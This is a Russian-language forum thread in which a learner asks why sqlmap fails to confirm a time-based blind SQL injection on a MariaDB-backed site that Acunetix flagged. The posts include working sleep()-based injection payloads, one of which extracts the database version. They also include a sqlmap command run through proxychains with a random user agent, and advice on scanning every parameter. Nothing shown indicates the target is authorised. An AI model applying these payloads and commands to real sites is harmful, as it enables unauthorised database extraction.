• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

  • 🚨 Ещё можно успеть на курс «OSINT: технология боевой разведки» от Академии Кодебай

    🔍 Изучите методы разведки с использованием открытых источников (OSINT) для проведения успешных атак.
    🛠️ Освойте ключевые инструменты, такие как Maltego, TheHarvester и другие.
    🧪 Пройдите практические лабораторные работы, имитирующие реальную разведку.
    🧠 Развивайте навыки, которые помогут вам стать экспертом в области информационной безопасности.

    Запись открыта до 23 мая Подробнее о курсе ...

SQLmap не видит уязвимость

winitu

Member
03.08.2023
9
0
Добрый вечер, сканер Acunetix обнаружил уязвимость на сайте и выдал payload:
Код:
(select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(6)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/

Решил проверить в sqlmap'e, пытался по-разному скормить, но ничего не вышло. Грузил запрос с этой нагрузкой - не вышло, ставил * вместо нее - не вышло. Игрался с флагами -р; -r; -technique; -level; -risk; -random-agent - тоже ничего.

Когда кое-как скормил ему готовый payload выдало, что инъекция тут ложная, но вроде она была опознана..
Потом решил крутануть в burp'e. Решил посмотреть версию MariaBD, для этого начал менять полезную нагрузку. Так как я только учусь, методом тыка сократил до:
Код:
(select(0)from(select(sleep(3)))v)

Далее понял, что проходит только 2 select
Код:
(select(0)from(select( sleep(3) ))v)

Задался вопросом, что там делает "v", но чат GPT сказал, что она там для синтаксиса и вообще так надо.
Долго мучался и сообразил это:
Код:
(select(0)from(select(IF((SUBSTRING(VERSION(),1,1)='1'),sleep(10),sleep(3)))v))

Камнем преткновения стала злополучная буква "v", чтобы нагрузка заработала нужно было переставить за другую скобку:
Код:
(select(0)from(select(IF((SUBSTRING(VERSION(),1,1)='1'),sleep(10),sleep(3))))v)

Убедился, что скуля не ложная, скормил sqlmap'y, но опять тщетно...

Сейчас команда выглядит так:
Код:
proxychains sqlmap -r /zapros.txt  --method POST --technique=T --banner --level 5 --risk 3 --random-agent

Подскажите, может кто сталкивался? Тянуть берпом без PRO версии это путь в никуда, видел еще на форуме способ с WFUZZ. Буду его пробовать, но не покидает чувство, как будто я что-то упускаю...
 
Ты скормил ресурс в акунетикс и нашел самый худший вариант - слепая по тайму. Целый год будешь данные выгружать и еще sqlmap ошибаться может, если сервак лагать будет... Ты уверен, что в других параметрах или даже в этом нет другой техники? И в чем проблема Burp Suite pro поставить?
 
Ты скормил ресурс в акунетикс и нашел самый худший вариант - слепая по тайму. Целый год будешь данные выгружать и еще sqlmap ошибаться может, если сервак лагать будет... Ты уверен, что в других параметрах или даже в этом нет другой техники? И в чем проблема Burp Suite pro поставить?
Любой дамп с такой скулей - это "садизм", я понимаю, но все же хочется разобраться, почему ее не видит sqlmap.

Код:
"Ты уверен, что в других параметрах или даже в этом нет другой техники?"
А как их проверить? Просто подставить * в каждый? Этого достаточно?
 
Любой дамп с такой скулей - это "садизм", я понимаю, но все же хочется разобраться, почему ее не видит sqlmap.

Код:
"Ты уверен, что в других параметрах или даже в этом нет другой техники?"
А как их проверить? Просто подставить * в каждый? Этого достаточно?
Найди все формы и все параметры запусти sqlmap и запусти несколько окон скана. Поставь --level=5 --risk=3 субд укажи и технику --technique=BT (чтобы меньше времени затратить на поиск пэйлоада) если найдет еще где-то, то поставь в этом параметр уже все техники кроме BT. Если нихрена не найдет, то уже лезь руками, ну в смысле бурпом лучше прошкой, а там уже сравнивай рез и находи уникальное что-то мб задержка, ошибка, ответ какой-то необычный и т.д.
 
Найди все формы и все параметры запусти sqlmap и запусти несколько окон скана. Поставь --level=5 --risk=3 субд укажи и технику --technique=BT (чтобы меньше времени затратить на поиск пэйлоада) если найдет еще где-то, то поставь в этом параметр уже все техники кроме BT. Если нихрена не найдет, то уже лезь руками, ну в смысле бурпом лучше прошкой, а там уже сравнивай рез и находи уникальное что-то мб задержка, ошибка, ответ какой-то необычный и т.д.
Понял, только вот сайт 403/502 выдает после большого количества запросов. А не знаешь, эти флаги для чего служат?
Код:
--prefix=PREFIX     Предваряющая строка инъекционного запроса
--suffix=SUFFIX     Завершающая строка инъекционного запроса
Можно ли их применить в данном случае, для уточнения payload'a? Или все-таки sqlmap не поймет?
 
Понял, только вот сайт 403/502 выдает после большого количества запросов. А не знаешь, эти флаги для чего служат?
Код:
--prefix=PREFIX     Предваряющая строка инъекционного запроса
--suffix=SUFFIX     Завершающая строка инъекционного запроса
Можно ли их применить в данном случае, для уточнения payload'a? Или все-таки sqlmap не поймет?
Насколько я помню --prefix - это начало пэйлода, в основном используют для обрамления, то есть:
"
") и т.д
--suffix это конец пэйлоада. Обычно указывают комментарий.
#
-- -
Если я не прав, то ты можешь посмотреть какие запросы отправляются добавив эти опции и включив режим -vv дебаггер по сути. Если ты руками крутил, то почему нет. Если там необычное обрамление или необычный пэйлоад, то можно использовать эти опции, та и просто, чтобы не положить ресурс, отправляя слишком много ненужных запросов, которые все равно не сработают...
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!

Курс AD